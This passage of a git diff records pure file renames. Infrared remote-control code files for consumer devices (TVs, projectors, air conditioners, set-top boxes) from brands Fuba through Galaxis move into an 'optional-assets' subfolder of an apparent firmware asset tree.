a/assets/resources/infrared/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Processor/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Processor/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/Processor/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Processor/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fast/TV/28,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fast/TV/28,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fast/TV/28,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fast/TV/28,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fast/TVS/28,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fast/TVS/28,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fast/TVS/28,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fast/TVS/28,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fisher/TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/TV/56,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/TV/56,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fisher/TV/56,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/TV/56,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Free/Unknown_V5/36,12.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Free/Unknown_V5/36,12.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Free/Unknown_V5/36,12.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Free/Unknown_V5/36,12.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/TV/132,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/TV/132,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/TV/132,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/TV/132,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/GE/TV/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/GE/TV/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/TV/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/GE/VCR/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/GE/VCR/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/GE/VCR/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/GE/VCR/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/GE/VCR/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/GE/VCR/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Galaxis/Satellite/13,80.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Satellite/13,80.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Galaxis/Satellite/13,80.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Satellite/13,80.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir 